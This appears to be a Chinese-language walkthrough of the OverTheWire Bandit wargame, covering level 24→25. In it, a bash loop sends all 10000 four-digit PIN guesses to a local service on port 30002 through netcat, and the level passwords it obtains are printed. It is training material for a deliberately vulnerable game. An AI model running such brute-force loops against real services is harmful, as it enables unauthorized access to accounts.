chmod 777 /tmp/b23ac/
cat /tmp/b23abc/pass.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Level 24→25

目标

一个服务正在监听 30002 端口,如果将本关的密码和一个4位的 pincode 给它,它就会给你下一关的密码,我们没有办法获取这个 Pincode ,只能遍历 10000种组合,也就是暴力破解。


再一次,我在 /tmp 中创建一个文件夹,确保所有新创建的文件夹和所有和本关相关联的文件都有合适的权限。

1
2
3
4
5
6
7
#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for a in {0..9}{0..9}{0..9}{0..9}
do
echo $passwd' '$a | nc localhost 30002 >> result &
done

我选择使用 netcat(nc) 命令。pincode 通过一个 for 循环遍历生成。 ‘>>’将输出补充到 result 文件中。’&’让命令在后台进行,让它可以开始下一次迭代。

使用同样的策略来从文件中找到唯一的行,我们就可以看到下一关的密码了。

1
2
3
$ sort result | uniq -u
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×